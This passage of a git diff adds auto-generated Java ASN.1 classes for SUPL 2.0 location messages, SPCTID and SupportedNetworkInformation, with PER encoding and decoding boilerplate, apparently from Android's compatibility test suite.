+ SPCTID result = new SPCTID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SPCTID from encoded stream.
+ */
+ public static SPCTID fromPerAligned(byte[] encodedBytes) {
+ SPCTID result = new SPCTID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SPCTID.rANDType rAND_;
+ public SPCTID.rANDType getRAND() {
+ return rAND_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCTID.rANDType
+ */
+ public void setRAND(Asn1Object value) {
+ this.rAND_ = (SPCTID.rANDType) value;
+ }
+ public SPCTID.rANDType setRANDToNewInstance() {
+ rAND_ = new SPCTID.rANDType();
+ return rAND_;
+ }
+
+ private FQDN slpFQDN_;
+ public FQDN getSlpFQDN() {
+ return slpFQDN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FQDN
+ */
+ public void setSlpFQDN(Asn1Object value) {
+ this.slpFQDN_ = (FQDN) value;
+ }
+ public FQDN setSlpFQDNToNewInstance() {
+ slpFQDN_ = new FQDN();
+ return slpFQDN_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRAND() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRAND();
+ }
+
+ @Override public void setToNewInstance() {
+ setRANDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCTID.rANDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rAND : "
+ + getRAND().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSlpFQDN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSlpFQDN();
+ }
+
+ @Override public void setToNewInstance() {
+ setSlpFQDNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FQDN.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "slpFQDN : "
+ + getSlpFQDN().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rANDType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_rANDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rANDType() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rANDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rANDType != null) {
+ return ImmutableList.of(TAG_rANDType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rANDType from encoded stream.
+ */
+ public static rANDType fromPerUnaligned(byte[] encodedBytes) {
+ rANDType result = new rANDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rANDType from encoded stream.
+ */
+ public static rANDType fromPerAligned(byte[] encodedBytes) {
+ rANDType result = new rANDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rANDType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SPCTID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
new file mode 100755
index 0000000..6a70ea0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
@@ -0,0 +1,2013 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedNetworkInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedNetworkInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedNetworkInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedNetworkInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedNetworkInformation != null) {
+ return ImmutableList.of(TAG_SupportedNetworkInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedNetworkInformation from encoded stream.
+ */
+ public static SupportedNetworkInformation fromPerUnaligned(byte[] encodedBytes) {
+ SupportedNetworkInformation result = new SupportedNetworkInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedNetworkInformation from encoded stream.
+ */
+ public static SupportedNetworkInformation fromPerAligned(byte[] encodedBytes) {
+ SupportedNetworkInformation result = new SupportedNetworkInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedNetworkInformation.wLANType wLAN_;
+ public SupportedNetworkInformation.wLANType getWLAN() {
+ return wLAN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.wLANType
+ */
+ public void setWLAN(Asn1Object value) {
+ this.wLAN_ = (SupportedNetworkInformation.wLANType) value;
+ }
+ public SupportedNetworkInformation.wLANType setWLANToNewInstance() {
+ wLAN_ = new SupportedNetworkInformation.wLANType();
+ return wLAN_;
+ }
+
+ private SupportedWLANInfo supportedWLANInfo_;
+ public SupportedWLANInfo getSupportedWLANInfo() {
+ return supportedWLANInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo
+ */
+ public void setSupportedWLANInfo(Asn1Object value) {
+ this.supportedWLANInfo_ = (SupportedWLANInfo) value;
+ }
+ public SupportedWLANInfo setSupportedWLANInfoToNewInstance() {
+ supportedWLANInfo_ = new SupportedWLANInfo();
+ return supportedWLANInfo_;
+ }
+
+ private SupportedWLANApsList supportedWLANApsList_;
+ public SupportedWLANApsList getSupportedWLANApsList() {
+ return supportedWLANApsList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsList
+ */
+ public void setSupportedWLANApsList(Asn1Object value) {
+ this.supportedWLANApsList_ = (SupportedWLANApsList) value;
+ }
+ public SupportedWLANApsList setSupportedWLANApsListToNewInstance() {
+ supportedWLANApsList_ = new SupportedWLANApsList();
+ return supportedWLANApsList_;
+ }
+
+ private SupportedNetworkInformation.gSMType gSM_;
+ public SupportedNetworkInformation.gSMType getGSM() {
+ return gSM_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.gSMType
+ */
+ public void setGSM(Asn1Object value) {
+ this.gSM_ = (SupportedNetworkInformation.gSMType) value;
+ }
+ public SupportedNetworkInformation.gSMType setGSMToNewInstance() {
+ gSM_ = new SupportedNetworkInformation.gSMType();
+ return gSM_;
+ }
+
+ private SupportedNetworkInformation.wCDMAType wCDMA_;
+ public SupportedNetworkInformation.wCDMAType getWCDMA() {
+ return wCDMA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.wCDMAType
+ */
+ public void setWCDMA(Asn1Object value) {
+ this.wCDMA_ = (SupportedNetworkInformation.wCDMAType) value;
+ }
+ public SupportedNetworkInformation.wCDMAType setWCDMAToNewInstance() {
+ wCDMA_ = new SupportedNetworkInformation.wCDMAType();
+ return wCDMA_;
+ }
+
+ private SupportedWCDMAInfo supportedWCDMAInfo_;
+ public SupportedWCDMAInfo getSupportedWCDMAInfo() {
+ return supportedWCDMAInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWCDMAInfo
+ */
+ public void setSupportedWCDMAInfo(Asn1Object value) {
+ this.supportedWCDMAInfo_ = (SupportedWCDMAInfo) value;
+ }
+ public SupportedWCDMAInfo setSupportedWCDMAInfoToNewInstance() {
+ supportedWCDMAInfo_ = new SupportedWCDMAInfo();
+ return supportedWCDMAInfo_;
+ }
+
+ private SupportedNetworkInformation.cDMAType cDMA_;
+ public SupportedNetworkInformation.cDMAType getCDMA() {
+ return cDMA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.cDMAType
+ */
+ public void setCDMA(Asn1Object value) {
+ this.cDMA_ = (SupportedNetworkInformation.cDMAType) value;
+ }
+ public SupportedNetworkInformation.cDMAType setCDMAToNewInstance() {
+ cDMA_ = new SupportedNetworkInformation.cDMAType();
+ return cDMA_;
+ }
+
+ private SupportedNetworkInformation.hRDPType hRDP_;
+ public SupportedNetworkInformation.hRDPType getHRDP() {
+ return hRDP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.hRDPType
+ */
+ public void setHRDP(Asn1Object value) {
+ this.hRDP_ = (SupportedNetworkInformation.hRDPType) value;
+ }
+ public SupportedNetworkInformation.hRDPType setHRDPToNewInstance() {
+ hRDP_ = new SupportedNetworkInformation.hRDPType();
+ return hRDP_;
+ }
+
+ private SupportedNetworkInformation.uMBType uMB_;
+ public SupportedNetworkInformation.uMBType getUMB() {
+ return uMB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.uMBType
+ */
+ public void setUMB(Asn1Object value) {
+ this.uMB_ = (SupportedNetworkInformation.uMBType) value;
+ }
+ public SupportedNetworkInformation.uMBType setUMBToNewInstance() {
+ uMB_ = new SupportedNetworkInformation.uMBType();
+ return uMB_;
+ }
+
+ private SupportedNetworkInformation.lTEType lTE_;
+ public SupportedNetworkInformation.lTEType getLTE() {
+ return lTE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.lTEType
+ */
+ public void setLTE(Asn1Object value) {
+ this.lTE_ = (SupportedNetworkInformation.lTEType) value;
+ }
+ public SupportedNetworkInformation.lTEType setLTEToNewInstance() {
+ lTE_ = new SupportedNetworkInformation.lTEType();
+ return lTE_;
+ }
+
+ private SupportedNetworkInformation.wIMAXType wIMAX_;
+ public SupportedNetworkInformation.wIMAXType getWIMAX() {
+ return wIMAX_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.wIMAXType
+ */
+ public void setWIMAX(Asn1Object value) {
+ this.wIMAX_ = (SupportedNetworkInformation.wIMAXType) value;
+ }
+ public SupportedNetworkInformation.wIMAXType setWIMAXToNewInstance() {
+ wIMAX_ = new SupportedNetworkInformation.wIMAXType();
+ return wIMAX_;
+ }
+
+ private SupportedNetworkInformation.historicType historic_;
+ public SupportedNetworkInformation.historicType getHistoric() {
+ return historic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.historicType
+ */
+ public void setHistoric(Asn1Object value) {
+ this.historic_ = (SupportedNetworkInformation.historicType) value;
+ }
+ public SupportedNetworkInformation.historicType setHistoricToNewInstance() {
+ historic_ = new SupportedNetworkInformation.historicType();
+ return historic_;
+ }
+
+ private SupportedNetworkInformation.nonServingType nonServing_;
+ public SupportedNetworkInformation.nonServingType getNonServing() {
+ return nonServing_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.nonServingType
+ */
+ public void setNonServing(Asn1Object value) {
+ this.nonServing_ = (SupportedNetworkInformation.nonServingType) value;
+ }
+ public SupportedNetworkInformation.nonServingType setNonServingToNewInstance() {
+ nonServing_ = new SupportedNetworkInformation.nonServingType();
+ return nonServing_;
+ }
+
+ private SupportedNetworkInformation.uTRANGPSReferenceTimeType uTRANGPSReferenceTime_;
+ public SupportedNetworkInformation.uTRANGPSReferenceTimeType getUTRANGPSReferenceTime() {
+ return uTRANGPSReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.uTRANGPSReferenceTimeType
+ */
+ public void setUTRANGPSReferenceTime(Asn1Object value) {
+ this.uTRANGPSReferenceTime_ = (SupportedNetworkInformation.uTRANGPSReferenceTimeType) value;
+ }
+ public SupportedNetworkInformation.uTRANGPSReferenceTimeType setUTRANGPSReferenceTimeToNewInstance() {
+ uTRANGPSReferenceTime_ = new SupportedNetworkInformation.uTRANGPSReferenceTimeType();
+ return uTRANGPSReferenceTime_;
+ }
+
+ private SupportedNetworkInformation.uTRANGANSSReferenceTimeType uTRANGANSSReferenceTime_;
+ public SupportedNetworkInformation.uTRANGANSSReferenceTimeType getUTRANGANSSReferenceTime() {
+ return uTRANGANSSReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation.uTRANGANSSReferenceTimeType
+ */
+ public void setUTRANGANSSReferenceTime(Asn1Object value) {
+ this.uTRANGANSSReferenceTime_ = (SupportedNetworkInformation.uTRANGANSSReferenceTimeType) value;
+ }
+ public SupportedNetworkInformation.uTRANGANSSReferenceTimeType setUTRANGANSSReferenceTimeToNewInstance() {
+ uTRANGANSSReferenceTime_ = new SupportedNetworkInformation.uTRANGANSSReferenceTimeType();
+ return uTRANGANSSReferenceTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getWLAN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWLAN();
+ }
+
+ @Override public void setToNewInstance() {
+ setWLANToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.wLANType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wLAN : "
+ + getWLAN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedWLANInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedWLANInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedWLANInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedWLANInfo : "
+ + getSupportedWLANInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedWLANApsList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedWLANApsList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedWLANApsListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedWLANApsList : "
+ + getSupportedWLANApsList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGSM() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGSM();
+ }
+
+ @Override public void setToNewInstance() {
+ setGSMToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.gSMType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gSM : "
+ + getGSM().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getWCDMA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWCDMA();
+ }
+
+ @Override public void setToNewInstance() {
+ setWCDMAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.wCDMAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wCDMA : "
+ + getWCDMA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedWCDMAInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedWCDMAInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedWCDMAInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWCDMAInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedWCDMAInfo : "
+ + getSupportedWCDMAInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCDMA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCDMA();
+ }
+
+ @Override public void setToNewInstance() {
+ setCDMAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.cDMAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cDMA : "
+ + getCDMA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getHRDP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHRDP();
+ }
+
+ @Override public void setToNewInstance() {
+ setHRDPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.hRDPType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "hRDP : "
+ + getHRDP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getUMB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUMB();
+ }
+
+ @Override public void setToNewInstance() {
+ setUMBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.uMBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uMB : "
+ + getUMB().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getLTE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLTE();
+ }
+
+ @Override public void setToNewInstance() {
+ setLTEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.lTEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "lTE : "
+ + getLTE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getWIMAX() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWIMAX();
+ }
+
+ @Override public void setToNewInstance() {
+ setWIMAXToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.wIMAXType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wIMAX : "
+ + getWIMAX().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getHistoric() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHistoric();
+ }
+
+ @Override public void setToNewInstance() {
+ setHistoricToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.historicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "historic : "
+ + getHistoric().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getNonServing() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNonServing();
+ }
+
+ @Override public void setToNewInstance() {
+ setNonServingToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.nonServingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nonServing : "
+ + getNonServing().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getUTRANGPSReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUTRANGPSReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setUTRANGPSReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
